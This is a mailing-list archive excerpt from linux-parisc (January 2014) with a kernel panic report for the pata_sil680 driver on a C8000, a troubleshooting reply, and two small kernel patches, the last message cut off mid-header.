Date: Mon, 20 Jan 2014 13:24:00 +0100
Lines: 110
Approved: news@gmane.org
Message-ID: <b1936c5daf63913a0a5d0c37b7ebc425@tuxicoman.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8;
 format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1390220661 7346 80.91.229.3 (20 Jan 2014 12:24:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 20 Jan 2014 12:24:21 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jan 20 13:24:27 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1W5Dty-0004g2-V2
	for glpp-linux-parisc@plane.gmane.org; Mon, 20 Jan 2014 13:24:27 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751734AbaATMYX (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 20 Jan 2014 07:24:23 -0500
Original-Received: from venus.vo.lu ([80.90.45.96]:61013 "EHLO venus.vo.lu"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753059AbaATMYK (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 20 Jan 2014 07:24:10 -0500
Original-Received: from ibiza.lux.tuxicoman.be (vodsl-8217.vo.lu [85.93.199.25]) by venus.vo.lu with SMTP
	(version=TLS\Tls
	cipher=Aes128 bits=128);
   Mon, 20 Jan 2014 13:23:45 +0100
Original-Received: from cartman.lux.tuxicoman.be ([172.18.0.2] helo=webmail.tuxicoman.be)
	by ibiza.lux.tuxicoman.be with esmtp (Exim 4.80.1)
	(envelope-from <gmsoft@tuxicoman.be>)
	id 1W5DtY-000549-9D
	for linux-parisc@vger.kernel.org; Mon, 20 Jan 2014 13:24:00 +0100
X-Sender: gmsoft@tuxicoman.be
User-Agent: Roundcube Webmail/0.9.5
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5620
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5620>

Hi,


I tried to switch to the ATA drivers but I keep getting a panic whenever 
I load the pata_sil680 module on my C8000.


Kconfig : http://bpaste.net/show/170067/
Kver : 3.12.8-gentoo

This is the backtrace :
insmoterminator ~ # insmod pata_sil680.ko
pata_sil680 0000:60:02.0: version 0.4.9
pata_sil680 0000:60:02.0: sil680: BA5_EN = 1 clock = 00
pata_sil680 0000:60:02.0: sil680: BA5_EN = 1 clock = 10
sil680: 133MHz clock.
Backtrace:
  [<00000000401ad0c4>] handle_percpu_irq+0xbc/0xf8
  [<00000000401a62c4>] generic_handle_irq+0x4c/0x68
  [<00000000401062a4>] syscall_do_resched+0x28/0x34
  [<000000004011e1f8>] execute_on_irq_stack+0x70/0xb8
  [<000000004019486c>] enqueue_task_fair+0x5ac/0xbd0
  [<0000000040188ec8>] check_preempt_curr+0x98/0xc8
  [<0000000040188f34>] ttwu_do_wakeup+0x3c/0xd0
  [<0000000040189184>] ttwu_do_activate.constprop.68+0xbc/0xd8
  [<000000004018c2b8>] try_to_wake_up+0x238/0x450
  [<000000004017ff8c>] __raw_notifier_call_chain+0x2c/0x40
  [<000000004017ffd0>] raw_notifier_call_chain+0x30/0x48
  [<00000000401b0f74>] timekeeping_update.constprop.9+0x5c/0xe0
  [<0000000040188f34>] ttwu_do_wakeup+0x3c/0xd0
  [<0000000040189184>] ttwu_do_activate.constprop.68+0xbc/0xd8
  [<000000004018c2b8>] try_to_wake_up+0x238/0x450
  [<000000004018c4fc>] default_wake_function+0x2c/0x40
Bad Address (null pointer deref?): Code=26 regs=0000000041f77350 
(Addr=0000000000000000)
CPU: 1 PID: 0 Comm: swapper/1 Not tainted 3.12.8-gentoo #2
task: 000000007fc887e0 ti: 000000007fcc4000 task.ti: 000000007fcc4000

      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00001000000001001111111100001110 Not tainted
r00-03  000000ff0804ff0e 0000000040987e60 00000000401ad0c4 
0000000041f77250
r04-07  0000000040970660 0000000000000000 0000000000000000 
0000000041f77320
r08-11  0000000000000047 00000000407c4880 0000000000000004 
0000000000000001
r12-15  0000000040889a90 0000000000000047 0000000000000000 
0000000000000001
r16-19  000000007fcc4250 000000000000001a 0000000040889a90 
0000000001559000
r20-23  00000000407dec50 0000000041f7b020 fffc000000000000 
feffffffffffffff
r24-27  0000000041f77040 0000000000000000 00000000407c4880 
0000000040970660
r28-31  fefc000000000000 0000000041f77220 0000000041f77350 
0100000000000000
sr00-03  0000000000217000 0000000000217000 0000000000000000 
0000000000217000
sr04-07  0000000000000000 0000000000000000 0000000000000000 
0000000000000000

IASQ: 0000000000000000 0000000000000000 IAOQ: 00000000401a7234 
00000000401a7238
  IIR: 0dc010dc    ISR: 0000000000000000  IOR: 0000000000000000
  CPU:        1   CR30: 000000007fcc4000 CR31: ffffe1691b8f2119
  ORIG_R28: 0000000040189184
  IAOQ[0]: handle_irq_event_percpu+0x9c/0x378
  IAOQ[1]: handle_irq_event_percpu+0xa0/0x378
  RP(r2): handle_percpu_irq+0xbc/0xf8


If I hack the driver to enable MMIO, I have the following backtrace :
scsi2 : pata_sil680
scsi3 : pata_sil680
ata1: PATA max UDMA/133 irq 71
ata2: PATA max UDMA/133 irq 71
scsi 3:0:0:0: CD-ROM            HL-DT-ST DVDRAM GSA-4082B A208 PQ: 0 
ANSI: 5
ata2.00: configured for UDMA/66
sr0: scsi3-mmc drive: 32x/32x writer dvd-ram cd/rw xa/form2 cdda tray
cdrom: Uniform CD-ROM driver Revision: 3.20
sr 3:0:0:0: Attached scsi CD-ROM sr0
sr 3:0:0:0: Attached scsi generic sg1 type 5
  [<00000000401ad0c4>] handle_percpu_irq+0xbc/0xf8
  [<00000000401a62c4>] generic_handle_irq+0x4c/0x68
  [<00000000401062a4>] syscall_do_resched+0x28/0x34


With MMIO, it goes a little bit further as it detects the drive 
correctly but eventually fails the same way.

As far as I understand the backtrace, it would seem that an IRQ handler 
function pointer is set to NULL or some NULL pointer deref occurs in the 
IRQ handler.
Also, this is not the original DVD drive from the C8000. I replaced it 
with a DVD burner.

How idea what can be the issue ?

Thanks,
   Guy




--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Issue with pata_sil680
Date: Mon, 20 Jan 2014 21:12:43 +0100
Lines: 61
Approved: news@gmane.org
Message-ID: <52DD833B.2010907@gmx.de>
References: <b1936c5daf63913a0a5d0c37b7ebc425@tuxicoman.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1390248759 29679 80.91.229.3 (20 Jan 2014 20:12:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 20 Jan 2014 20:12:39 +0000 (UTC)
To: Guy Martin <gmsoft@tuxicoman.be>, linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jan 20 21:12:47 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1W5LDC-0008Ts-RO
	for glpp-linux-parisc@plane.gmane.org; Mon, 20 Jan 2014 21:12:47 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750758AbaATUMq (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 20 Jan 2014 15:12:46 -0500
Original-Received: from mout.gmx.net ([212.227.15.15]:59430 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1750823AbaATUMp (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 20 Jan 2014 15:12:45 -0500
Original-Received: from [192.168.178.60] ([84.173.40.227]) by mail.gmx.com (mrgmx101)
 with ESMTPSA (Nemesis) id 0M3vCA-1VF1Ze0lne-00rcL9 for
 <linux-parisc@vger.kernel.org>; Mon, 20 Jan 2014 21:12:44 +0100
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.2.0
In-Reply-To: <b1936c5daf63913a0a5d0c37b7ebc425@tuxicoman.be>
X-Enigmail-Version: 1.6
X-Provags-ID: V03:K0:kGUokISh3GbT94ns3sL3fjk9t9YuWAHmWs3ZGeWqOu1Z858Woom
 74o3+Wci6sqFhjggXsxvesg64DIZZihcfHHfeHJpwuTcd0XX99u1sLsmhb3O0Mp4Ap2hWtD
 f/k05rbmmO3adUr0tScyvUYaXSssXV6fnwQ6Q5A8JVt4z+auvzjsbtiF1H7wbTsrIPS7BFq
 w3bBzmbQPYmtgyvXMuYhg==
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5621
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5621>

Hi Guy,

On 01/20/2014 01:24 PM, Guy Martin wrote:
> I tried to switch to the ATA drivers but I keep getting a panic
> whenever I load the pata_sil680 module on my C8000 
> 
> Kconfig : http://bpaste.net/show/170067/
> Kver : 3.12.8-gentoo
> 
> This is the backtrace :
> insmoterminator ~ # insmod pata_sil680.ko
> pata_sil680 0000:60:02.0: version 0.4.9
> pata_sil680 0000:60:02.0: sil680: BA5_EN = 1 clock = 00
> pata_sil680 0000:60:02.0: sil680: BA5_EN = 1 clock = 10
> sil680: 133MHz clock.
> Backtrace:
>  [<00000000401ad0c4>] handle_percpu_irq+0xbc/0xf8
>  [<00000000401a62c4>] generic_handle_irq+0x4c/0x68
>  [<00000000401062a4>] syscall_do_resched+0x28/0x34
>  [<000000004011e1f8>] execute_on_irq_stack+0x70/0xb8
....
> 
> If I hack the driver to enable MMIO, I have the following backtrace :
> scsi2 : pata_sil680
> scsi3 : pata_sil680
> ata1: PATA max UDMA/133 irq 71
> ata2: PATA max UDMA/133 irq 71
> scsi 3:0:0:0: CD-ROM            HL-DT-ST DVDRAM GSA-4082B A208 PQ: 0 ANSI: 5
> ata2.00: configured for UDMA/66
> sr0: scsi3-mmc drive: 32x/32x writer dvd-ram cd/rw xa/form2 cdda tray
> cdrom: Uniform CD-ROM driver Revision: 3.20
> sr 3:0:0:0: Attached scsi CD-ROM sr0
> sr 3:0:0:0: Attached scsi generic sg1 type 5
>  [<00000000401ad0c4>] handle_percpu_irq+0xbc/0xf8
>  [<00000000401a62c4>] generic_handle_irq+0x4c/0x68
>  [<00000000401062a4>] syscall_do_resched+0x28/0x34
> 
> 
> With MMIO, it goes a little bit further as it detects the drive correctly but eventually fails the same way.
> 
> As far as I understand the backtrace, it would seem that an IRQ
> handler function pointer is set to NULL or some NULL pointer deref
> occurs in the IRQ handler. Also, this is not the original DVD drive
> from the C8000. I replaced it with a DVD burner.> 
> How idea what can be the issue ?

I'm just guessing here since I would need to test myself.
But James Bottomley found once, that the secondary port of the cmd64x controller
was not completely wired physically up on parisc.
He posted a patch series here:  
http://www.spinics.net/lists/linux-ide/msg40816.html
Maybe there is some similarity for pata_sil680 too, esp. since it seems from
the log above that you connected your DVD drive to the secondary port (scsi3).
What happens if you connect it to scsi2/the first pata port instead? 

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Guy Martin <gmsoft@tuxicoman.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Issue with =?UTF-8?Q?pata=5Fsil=36=38=30?=
Date: Tue, 21 Jan 2014 08:05:10 +0100
Lines: 48
Approved: news@gmane.org
Message-ID: <1f9c0e8de82a46127cbd6b8872526f44@tuxicoman.be>
References: <b1936c5daf63913a0a5d0c37b7ebc425@tuxicoman.be>
 <52DD833B.2010907@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8;
 format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1390287917 21766 80.91.229.3 (21 Jan 2014 07:05:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 21 Jan 2014 07:05:17 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jan 21 08:05:25 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1W5VOl-0004im-2M
	for glpp-linux-parisc@plane.gmane.org; Tue, 21 Jan 2014 08:05:23 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750853AbaAUHFW (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 21 Jan 2014 02:05:22 -0500
Original-Received: from venus.vo.lu ([80.90.45.96]:50741 "EHLO venus.vo.lu"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1750820AbaAUHFW (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 21 Jan 2014 02:05:22 -0500
Original-Received: from ibiza.lux.tuxicoman.be (vodsl-8217.vo.lu [85.93.199.25]) by venus.vo.lu with SMTP
	(version=TLS\Tls
	cipher=Aes128 bits=128);
   Tue, 21 Jan 2014 08:04:53 +0100
Original-Received: from cartman.lux.tuxicoman.be ([172.18.0.2] helo=webmail.tuxicoman.be)
	by ibiza.lux.tuxicoman.be with esmtp (Exim 4.80.1)
	(envelope-from <gmsoft@tuxicoman.be>)
	id 1W5VOY-0005Qi-Ci; Tue, 21 Jan 2014 08:05:10 +0100
In-Reply-To: <52DD833B.2010907@gmx.de>
X-Sender: gmsoft@tuxicoman.be
User-Agent: Roundcube Webmail/0.9.5
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5622
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5622>

Hi Helge,

On 2014-01-20 21:12, Helge Deller wrote:
> Hi Guy,
> 
> On 01/20/2014 01:24 PM, Guy Martin wrote:
>> I tried to switch to the ATA drivers but I keep getting a panic
>> whenever I load the pata_sil680 module on my C8000


>> With MMIO, it goes a little bit further as it detects the drive 
>> correctly but eventually fails the same way.
>> 
>> As far as I understand the backtrace, it would seem that an IRQ
>> handler function pointer is set to NULL or some NULL pointer deref
>> occurs in the IRQ handler. Also, this is not the original DVD drive
>> from the C8000. I replaced it with a DVD burner.>
>> How idea what can be the issue ?
> 
> I'm just guessing here since I would need to test myself.
> But James Bottomley found once, that the secondary port of the cmd64x 
> controller
> was not completely wired physically up on parisc.
> He posted a patch series here:
> http://www.spinics.net/lists/linux-ide/msg40816.html
> Maybe there is some similarity for pata_sil680 too, esp. since it seems 
> from
> the log above that you connected your DVD drive to the secondary port 
> (scsi3).
> What happens if you connect it to scsi2/the first pata port instead?

I have not checked how it is connected physically yet. It's probably the 
jumper on the drive set for slave.

However, this drive works fine with the old IDE siimage driver.
Additionally, if I found out that if I hack the driver to only probe the 
first drive,
then unload it, change it to probe both drives and reload it, it is 
detected correctly.


   Guy

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:05 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 

From - Thu Nov 08 21:10:06 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Gortmaker <paul.gortmaker@windriver.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: don't use module_init for non-modular core pdc_cons code
Date: Wed, 22 Jan 2014 13:19:44 -0500
Lines: 37
Approved: news@gmane.org
Message-ID: <1390414784-6472-1-git-send-email-paul.gortmaker@windriver.com>
References: <52df8b79.riaKReY/RZZi2qvy%fengguang.wu@intel.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
X-Trace: ger.gmane.org 1390414814 20873 80.91.229.3 (22 Jan 2014 18:20:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 22 Jan 2014 18:20:14 +0000 (UTC)
Cc: Paul Gortmaker <paul.gortmaker@windriver.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>, <linux-parisc@vger.kernel.org>
To: <fengguang.wu@intel.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Jan 22 19:20:19 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1W62PS-0007sw-UK
	for glpp-linux-parisc@plane.gmane.org; Wed, 22 Jan 2014 19:20:19 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755367AbaAVSUN (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 22 Jan 2014 13:20:13 -0500
Original-Received: from mail1.windriver.com ([147.11.146.13]:51298 "EHLO
	mail1.windriver.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752845AbaAVSUJ (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 22 Jan 2014 13:20:09 -0500
Original-Received: from ALA-HCA.corp.ad.wrs.com (ala-hca.corp.ad.wrs.com [147.11.189.40])
	by mail1.windriver.com (8.14.5/8.14.5) with ESMTP id s0MIJpqV016256
	(version=TLSv1/SSLv3 cipher=AES128-SHA bits=128 verify=FAIL);
	Wed, 22 Jan 2014 10:19:52 -0800 (PST)
Original-Received: from yow-lpgnfs-02.corp.ad.wrs.com (128.224.149.8) by
 ALA-HCA.corp.ad.wrs.com (147.11.189.40) with Microsoft SMTP Server id
 14.2.347.0; Wed, 22 Jan 2014 10:19:52 -0800
X-Mailer: git-send-email 1.8.5.2
In-Reply-To: <52df8b79.riaKReY/RZZi2qvy%fengguang.wu@intel.com>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5624
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5624>

The pdc_cons.c code is always built in.  It will never be modular,
so using module_init as an alias for __initcall is rather
misleading.

Fix this up now, so that we can relocate module_init from
init.h into module.h in the future.  If we don't do this, we'd
have to add module.h to obviously non-modular code, and that
would be a worse thing.

Direct use of __initcall is discouraged, vs prioritized ones.
Use of device_initcall is consistent with what __initcall
maps onto, and hence does not change the init order, making the
impact of this change zero.   Should someone with real hardware
for boot testing want to change it later to arch_initcall or
something different, they can do that at a later date.

Reported-by: kbuild test robot <fengguang.wu@intel.com>
Cc: "James E.J. Bottomley" <jejb@parisc-linux.org>
Cc: Helge Deller <deller@gmx.de>
Cc: linux-parisc@vger.kernel.org
Signed-off-by: Paul Gortmaker <paul.gortmaker@windriver.com>
---

[patch will be added to init cleanup series:
   http://git.kernel.org/cgit/linux/kernel/git/paulg/init.git/  ]

 arch/parisc/kernel/pdc_cons.c | 3 +--
 1 file changed, 1 insertion(+), 2 deletions(-)

diff --git a/arch/parisc/kernel/pdc_cons.c b/arch/parisc/kernel/pdc_cons.c
index d5cae55195ec..10a5ae9553fd 100644
--- a/arch/parisc/kernel/pdc_cons.c
+++ b/arch/parisc/kernel/pdc_cons.c
@@ -207,8 +207,7 @@ static int __init pdc_console_tty_driver_init(void)
 
 	return 0;
 }

From - Thu Nov 08 21:10:06 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mikulas Patocka <mpatocka@redhat.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: report inequivalent aliases only for writeable
 mappings
Date: Wed, 22 Jan 2014 14:11:40 -0500 (EST)
Lines: 48
Approved: news@gmane.org
Message-ID: <alpine.LRH.2.02.1401221402190.12739@file01.intranet.prod.int.rdu2.redhat.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1390417902 27247 80.91.229.3 (22 Jan 2014 19:11:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 22 Jan 2014 19:11:42 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Jan 22 20:11:48 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1W63DH-0004v6-UJ
	for glpp-linux-parisc@plane.gmane.org; Wed, 22 Jan 2014 20:11:48 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753174AbaAVTLr (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 22 Jan 2014 14:11:47 -0500
Original-Received: from mx1.redhat.com ([209.132.183.28]:27782 "EHLO mx1.redhat.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752868AbaAVTLr (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 22 Jan 2014 14:11:47 -0500
Original-Received: from int-mx10.intmail.prod.int.phx2.redhat.com (int-mx10.intmail.prod.int.phx2.redhat.com [10.5.11.23])
	by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s0MJBg6C007770
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK);
	Wed, 22 Jan 2014 14:11:42 -0500
Original-Received: from file01.intranet.prod.int.rdu2.redhat.com (file01.intranet.prod.int.rdu2.redhat.com [10.11.5.7])
	by int-mx10.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id s0MJBgK1029393
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO);
	Wed, 22 Jan 2014 14:11:42 -0500
Original-Received: from file01.intranet.prod.int.rdu2.redhat.com (localhost [127.0.0.1])
	by file01.intranet.prod.int.rdu2.redhat.com (8.14.4/8.14.4) with ESMTP id s0MJBf1U014623;
	Wed, 22 Jan 2014 14:11:41 -0500
Original-Received: from localhost (mpatocka@localhost)
	by file01.intranet.prod.int.rdu2.redhat.com (8.14.4/8.14.4/Submit) with ESMTP id s0MJBeMJ014620;
	Wed, 22 Jan 2014 14:11:41 -0500
X-Authentication-Warning: file01.intranet.prod.int.rdu2.redhat.com: mpatocka owned process doing -bs
X-X-Sender: mpatocka@file01.intranet.prod.int.rdu2.redhat.com
User-Agent: Alpine 2.02 (LRH 1266 2009-07-14)
X-Scanned-By: MIMEDefang 2.68 on 10.5.11.23
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5625
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5625>

Hi

Here I'm sending a fix for parisc for Debian 5 userspace.

I'm just curious - why are those kmap_atomic and kunmap_atomic overrides 
needed while other architectures with virtually indexed caches (such as 
sparc) don't override these functions? It is that the other architectures 
flush cache at differnet points where parisc doesn't flush it?

Mikulas


From: Mikulas Patocka <mpatocka@redhat.com>

The patch f8dae00684d678afa13041ef170cecfd1297ed40 breaks Debian 5
userspace. After application of the patch, you get a lot of INEQUIVALENT
ALIASES messages on various dynamic libraries - so many that the system is
unbootable.

This patch changes it so that INEQUIVALENT ALIASES are only reported for
writeable mappings. PA-RISC specification allows inequivalent aliases for
read-only mappings, so there's no need to report them as an error.

Signed-off-by: Mikulas Patocka <mpatocka@redhat.com>
Cc: stable@vger.kernel.org

---
 arch/parisc/kernel/cache.c |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

Index: linux-3.13/arch/parisc/kernel/cache.c
===================================================================
--- linux-3.13.orig/arch/parisc/kernel/cache.c	2014-01-20 21:40:18.000000000 +0100
+++ linux-3.13/arch/parisc/kernel/cache.c	2014-01-20 21:43:23.000000000 +0100
@@ -325,7 +325,7 @@ void flush_dcache_page(struct page *page
 		flush_tlb_page(mpnt, addr);
 		if (old_addr == 0 || (old_addr & (SHMLBA - 1)) != (addr & (SHMLBA - 1))) {
 			__flush_cache_page(mpnt, addr, page_to_phys(page));
-			if (old_addr)
+			if (old_addr && unlikely(mapping->i_mmap_writable != 0))
 				printk(KERN_ERR "INEQUIVALENT ALIASES 0x%lx and 0x%lx in file %s\n", old_addr, addr, mpnt->vm_file ? (char *)mpnt->vm_file->f_path.dentry->d_name.name : "(null)");
 			old_addr = addr;
 		}
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: don't use module_init for non-modular core
 pdc_cons code
Date: Wed, 22 Jan 2014 11:20:50 -0800
Lines: 31
Approved: news@gmane.org
Message-ID: <1390418450.2372.83.camel@dabdike.int.hansenpartnership.com>
References: <52df8b79.riaKReY/RZZi2qvy%fengguang.wu@intel.com>
	 <1390414784-6472-1-git-send-email-paul.gortmaker@windriver.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-15"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1390418456 2271 80.91.229.3 (22 Jan 2014 19:20:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 22 Jan 2014 19:20:56 +0000 (UTC)
Cc: fengguang.wu@intel.com,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org
To: Paul Gortmaker <paul.gortmaker@windriver.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Jan 22 20:21:02 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1W63M6-0000VK-DJ
	for glpp-linux-parisc@plane.gmane.org; Wed, 22 Jan 2014 20:20:54 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752668AbaAVTUx (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 22 Jan 2014 14:20:53 -0500
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:37449 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1752358AbaAVTUx (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 22 Jan 2014 14:20:53 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id A72DE8EE0FB;
	Wed, 22 Jan 2014 11:20:52 -0800 (PST)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id x5-2Hr8CVGG9; Wed, 22 Jan 2014 11:20:52 -0800 (PST)
Original-Received: from [153.66.254.224] (c-24-17-213-192.hsd1.wa.comcast.net [24.17.213.192])
